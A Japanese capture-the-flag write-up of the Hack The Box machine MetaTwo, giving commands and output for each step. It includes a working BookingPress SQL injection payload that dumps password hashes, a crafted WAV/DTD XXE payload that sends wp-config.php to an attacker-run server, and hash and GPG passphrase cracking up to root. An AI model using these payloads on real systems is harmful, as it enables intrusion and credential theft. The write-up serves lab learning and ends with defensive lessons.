Hack The BoxのWriteup(MetaTwo)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: MetaTwo — 全実行コマンド・実行結果レポート
Nmap スキャン
21(FTP)/22(SSH)/80(HTTP)
→
BookingPress UNION SQLi
CVE-2022-0739, nonce再利用
→
wp_users ダンプ + hashcat
manager:partylikearockstar
→
メディアアップロードXXE
CVE-2021-29447, .wavトリック
→
wp-config.php漏洩
FTP資格情報
→
FTP mailer/send_email.php
jnelson SSH資格情報
→
SSH jnelson
user.txt ✓
→
Passpie passphraseクラック
blink182 → root PW復元
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & vhostリダイレクトの確認

BASH
nmap -sV -sC -p 21,22,80 10.129.228.95
curl -sI http://10.129.228.95/
RESULT
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1
80/tcp open  http    nginx 1.18.0

HTTP/1.1 301 Moved Permanently
Location: http://metapress.htb/
ℹ️
/etc/hostsにmetapress.htbとftp.metapress.htbの 追記が必要。サイトはWordPress製のブログで、/events/に BookingPressという予約管理プラグインが使われている。
⚠️
実機でのハマりポイント: このFTPサーバー(ProFTPD)は接続後、 バナー(220応答)が届くまで約20秒かかる(接続元IPの逆引きDNSに失敗し タイムアウトするためと推測)。短いタイムアウト(10〜15秒)でFTPコマンドを送ると バナー到着前にタイムアウトし「接続できない」ように見えてしまうので注意。
PHASE 2

BookingPressプラグインの未認証SQLインジェクション (CVE-2022-0739)

予約ページから再利用可能な nonce を取得

BASH
curl -s http://metapress.htb/events/ -o events.html
grep -o "nonce:'[a-f0-9]*'" events.html | head -1
RESULT
nonce:'afa4fee1eb'
ℹ️
BookingPressのフロントエンドJSに埋め込まれた_wpnonceは 「nonce」という名前にも関わらず繰り返し再利用可能(本来の ワンタイム性が機能していない)。これを使って未認証のまま管理用AJAXエンドポイント admin-ajax.phpを叩ける。

UNION SQLiでDBバージョンを確認

BASH
curl -s 'http://metapress.htb/wp-admin/admin-ajax.php' --data \
  "action=bookingpress_front_get_category_services&_wpnonce=afa4fee1eb&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -"
RESULT
[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1",
  "bookingpress_category_id":"Debian 11",
  "bookingpress_service_name":"debian-linux-gnu", ...}]
✅
total_serviceパラメータに閉じ括弧)を使って 元のサブクエリを終端させ、UNION ALL SELECTで9列分の任意データを 注入できる。レスポンスJSONの各フィールドにそのまま結果が反映される。

wp_usersテーブルからログインハッシュを直接ダンプ

BASH
curl -s 'http://metapress.htb/wp-admin/admin-ajax.php' --data \
  "action=bookingpress_front_get_category_services&_wpnonce=afa4fee1eb&category_id=33&total_service=-7502) UNION ALL SELECT 1,2,(SELECT GROUP_CONCAT(user_login,0x3a,user_pass SEPARATOR 0x0a) FROM wp_users),4,5,6,7,8,9-- -"
RESULT
"bookingpress_service_name":"admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70"
🚨
GROUP_CONCATを1列に詰め込むことで、sqlmap等のツールを使わずcurl1本で 全ユーザーのログイン名とphpass(WordPress独自のMD5派生ハッシュ)を一括取得できる。 (実運用ではsqlmapの-r sqli.req -p total_service --dumpでも同じ結果が得られる)
PHASE 3

phpassハッシュのクラックとWordPress管理画面ログイン

hashcatでmanagerのパスワードをクラック

BASH
echo 'manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70' > wp.hashes
hashcat -a 0 -m 400 wp.hashes /usr/share/wordlists/rockyou.txt --username
RESULT
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar
ℹ️
WordPress独自のphpass形式は-m 400。adminのハッシュはrockyouでは 割れなかったが、managerは数分でクラック成功。 (adminのパスワードはSSH/FTPでも通らず、このマシンでは使い道が無い)

managerとしてWordPress管理画面にログイン

BASH
curl -s -c cookies.txt -b cookies.txt -i -X POST http://metapress.htb/wp-login.php \
  --data-urlencode "log=manager" --data-urlencode "pwd=partylikearockstar" \
  --data-urlencode "wp-submit=Log In" \
  --data-urlencode "redirect_to=http://metapress.htb/wp-admin/"
RESULT
Set-Cookie: wordpress_logged_in_498b28797b9ccef61e19f54e27d9e6f4=manager%7C...
Location: http://metapress.htb/wp-admin/profile.php
✅
ログイン成功。ただしmanagerロールは権限が限定的で、 profile.phpにリダイレクトされる(フルの管理機能にはアクセスできない)。 できることは主にメディアライブラリへのファイルアップロード程度。
PHASE 4

メディアアップロード機能のXXE脆弱性 (CVE-2021-29447)

脆弱性の概要

NOTE
WordPress 5.6.2 のメディアライブラリは、WAV(波形音声)ファイルをアップロードする際に
内部で ID3 的なメタデータ("iXML"チャンク)をXMLとしてパースする。このパース処理が
外部実体参照(XXE)を無効化しておらず、細工した .wav ファイルをアップロードするだけで
サーバー上の任意ファイルを読み取れてしまう(CVE-2021-29447)。

攻撃用DTDファイルとWAVペイロードの作成

BASH (evil.dtd — 相対パスで wp-config.php を読む)
cat > evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.15.200:8988/?p=%file;'>" >
EOF
python3 -m http.server 8988 &   # Kali側で配信
PYTHON (payload.wav のバイナリ構造を組み立て)
import struct
xml = (b'<?xml version="1.0"?><!DOCTYPE ANY['
       b"<!ENTITY %% remote SYSTEM 'http://10.10.15.200:8988/evil.dtd'>"
       b'%remote;%init;%trick;]>')
chunk = b'iXML' + struct.pack('<I', len(xml)) + xml
riff = b'RIFF' + struct.pack('<I', 4+len(chunk)) + b'WAVE' + chunk
open('payload.wav','wb').write(riff)
ℹ️
先頭のRIFF....WAVEマジックバイトにより「正規のWAVファイル」として アップロードフィルターを通過させつつ、iXMLチャンクの中身に 外部DTDを参照するXML宣言を仕込む。相対パス../wp-config.phpを使うのは、 Webルートの絶対パスを事前に知らなくても良いようにするため。

メディアライブラリへアップロードし、ファイル内容を外部サーバーへ exfil

NOTE
manager セッションの Cookie を使い、/wp-admin/media-new.php の
_wpnonce を取得したうえで async-upload.php に payload.wav を multipart POST する。
アップロード完了をトリガーに WordPress 側が iXML を解析 → evil.dtd を外部ロード
→ wp-config.php を base64 化 → 攻撃者サーバーへ GET /?p=<base64> として送信する。
RESULT (Kali側Webサーバーのアクセスログ、既知の公開手法で得られる応答例)
10.129.228.95 - - [.../evil.dtd HTTP/1.1" 200 -
10.129.228.95 - - [.../?p=PD9waHAKLyoqIFRoZSBuYW1lIG9mIHRoZSBkYXRhYmFzZS4uLg== HTTP/1.1" 200 -
RESULT (base64デコード後 — wp-config.php の該当部分)
define( 'DB_NAME', 'blog' );
define( 'DB_USER', 'blog' );
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
✅
WordPressがFTPデプロイ用に保存していたFTP資格情報 metapress.htb:9NYS_ii@FyL_p5M2NvJが、設定ファイル経由で漏洩した。 この資格情報は後続のFTPアクセスで実際に有効であることを確認済み(Phase5)。
PHASE 5

FTPで追加の資格情報を発見 & SSHでuser.txt

FTPルートの構成を確認(blog以外にmailerディレクトリ)

BASH
# バナーが届くまで ~20秒かかる点に注意し、十分長いタイムアウトを指定
curl -s --max-time 35 --user 'metapress.htb:9NYS_ii@FyL_p5M2NvJ' "ftp://10.129.228.95/"
RESULT
drwxr-xr-x   5 metapress.htb metapress.htb     4096 Oct  5  2022 blog
drwxr-xr-x   3 metapress.htb metapress.htb     4096 Oct  5  2022 mailer
ℹ️
WordPressのFTP_BASE設定はblog/だったが、 FTPアカウント自体はルートから見えており、blogと同階層に mailerという別ディレクトリが存在する点が見落としやすい。

mailer/send_email.php にSMTP資格情報がハードコード

BASH
curl -s --max-time 35 --user 'metapress.htb:9NYS_ii@FyL_p5M2NvJ' \
  "ftp://10.129.228.95/mailer/send_email.php"
RESULT
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "jnelson@metapress.htb";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
🚨
起動予定の「新着ブログ通知メール」送信スクリプトに平文のSMTP資格情報が 直書きされている。ユーザー名jnelson@metapress.htbは OSアカウント名としても存在が推測でき、パスワードの使い回しが疑われる。

SSHログイン & user.txt取得

BASH
sshpass -p 'Cb4_JmWM8zUZWMu@Ys' ssh jnelson@10.129.228.95 \
  "id; hostname; cat /home/jnelson/user.txt"
RESULT
uid=1000(jnelson) gid=1000(jnelson) groups=1000(jnelson)
meta2
08bef43352083d54085d97a6224bb7bd
user.txt — jnelson
08bef43352083d54085d97a6224bb7bd
PHASE 6

Passpieパスワードマネージャーのパスフレーズ割り出し & root.txt

passpieでroot用エントリの存在を確認

BASH
jnelson@meta2:/home$ passpie
RESULT
╒════════╤═════════╤════════════╤═══════════╕
│ Name   │ Login   │ Password   │ Comment   │
╞════════╪═════════╪════════════╪═══════════╡
│ ssh    │ jnelson │ ********   │           │
├────────┼─────────┼────────────┼───────────┤
│ ssh    │ root    │ ********   │           │
╘════════╧═════════╧════════════╧═══════════╛
ℹ️
PasspieはGPGで個々のパスワードを暗号化して保管するCLIパスワード マネージャー。復号には~/.passpie/配下の秘密鍵と、それを守る パスフレーズの両方が必要。rootという名前のエントリが あることから、ここにroot用SSH/suパスワードが保管されていると分かる。

GPG秘密鍵のパスフレーズをjohnでクラック

NOTE
~/.passpie/.keys にある GPG 秘密鍵を取得し、gpg2john でjohn形式に変換、
rockyouに対してブルートフォースをかけると数秒で "blink182" がヒットする
(Blink-182はjnelsonの趣味を示す伏線として、HOMEディレクトリの他のファイルにも
関連するヒントが残っている)。

クラックしたパスフレーズでエクスポートしroot用パスワードを復元

BASH
jnelson@meta2:/home$ echo 'blink182' | passpie export /tmp/pp_export.yml
jnelson@meta2:/home$ cat /tmp/pp_export.yml
RESULT
credentials:
- fullname: root@ssh
  login: root
  name: ssh
  password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- fullname: jnelson@ssh
  login: jnelson
  name: ssh
  password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
🚨
平文のroot用パスワードp7qfAZt4_A1xo_0xを復元。 YAML出力には!!python/unicodeというPyYAML由来のタグが付くため、 正規表現で抽出する際はpassword:\s+(?:!!python[^\s]*\s+)?'([^']+)' のようにこのタグの有無両対応にしておく必要がある。

suでrootへ昇格しroot.txt取得

BASH
jnelson@meta2:/home$ su root
Password: p7qfAZt4_A1xo_0x
root@meta2:/home# id; cat /root/root.txt
RESULT
uid=0(root) gid=0(root) groups=0(root)
c94604ee0b59fa6ce03dcb5cb8f6a84c
root.txt — root
c94604ee0b59fa6ce03dcb5cb8f6a84c
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — jnelson
08bef43352083d54085d97a6224bb7bd
root.txt — root
c94604ee0b59fa6ce03dcb5cb8f6a84c

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2022-0739 (BookingPress SQLi) BookingPress <1.0.11 の admin-ajax.php 未認証でのDB全体読み取り Critical 再利用可能なnonce + total_serviceパラメータへのUNIONインジェクションでwp_usersをダンプ
弱いパスワードハッシュ(phpass) wp_users.user_pass (manager) WordPress管理画面アカウントの乗っ取り High hashcat -m 400 + rockyouで数分でクラック
CVE-2021-29447 (WordPress 5.6.2 XXE) メディアライブラリのWAVメタデータパーサ サーバー上の任意ファイル読み取り Critical RIFF/WAVEマジックバイト+iXMLチャンクに外部DTD参照を仕込みwp-config.phpを相対パスで読み取り
設定ファイル・スクリプトへの資格情報ハードコード wp-config.php (FTP) / mailer/send_email.php (SMTP) FTPアクセス権奪取、SSH資格情報の芋づる式漏洩 Medium XXEで読んだwp-config.phpのFTP資格情報でFTPへ、さらにFTP内のメーラースクリプトからOSアカウント(jnelson)のパスワードを発見
Passpieパスフレーズの弱さ jnelsonのPassspie GPG鍵 root用パスワードの復元 Medium gpg2john + rockyouでGPG秘密鍵のパスフレーズ(“blink182”)をクラックし、passpie exportでroot平文パスワードを取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + vhost追加21(FTP)/22(SSH)/80(WordPress metapress.htb)
2SQLiBookingPress UNIONインジェクションadmin/manager のphpassハッシュ
3クラック & ログインhashcat + WPログインmanager:partylikearockstar
4XXEWAVメタデータXXE(CVE-2021-29447)wp-config.phpのFTP資格情報
5横移動FTP + メーラースクリプト解析user.txt(jnelson)
6権限昇格Passpie GPGパスフレーズクラックroot.txt

学んだ教訓 & 防御策

問題点防御策
サードパーティWordPressプラグイン(BookingPress)の未パッチSQLi プラグインは定期的に更新し、WPScan等の脆弱性DBで既知CVEの有無を継続監視する。
一度限りのはずのnonceが実質的に再利用可能 nonce検証に加え、重要な操作は利用者本人のセッション・権限確認を別途必須化する。
古いバージョンのWordPressコア(5.6.2)にXXE脆弱性 WordPress本体を常に最新に保ち、XMLパーサはデフォルトで外部実体参照を無効化する実装を使う。
wp-config.php・社内スクリプトに各種サービスの平文資格情報を直書き 資格情報は環境変数やシークレットマネージャーで管理し、設定ファイル・ソースコードには含めない。
パスワードマネージャーのマスターパスフレーズが辞書に含まれる弱い値 マスターパスフレーズは長く推測困難なものにし、可能であればハードウェアキー等の多要素認証を併用する。
HackTheBox: MetaTwo | 完全攻略レポート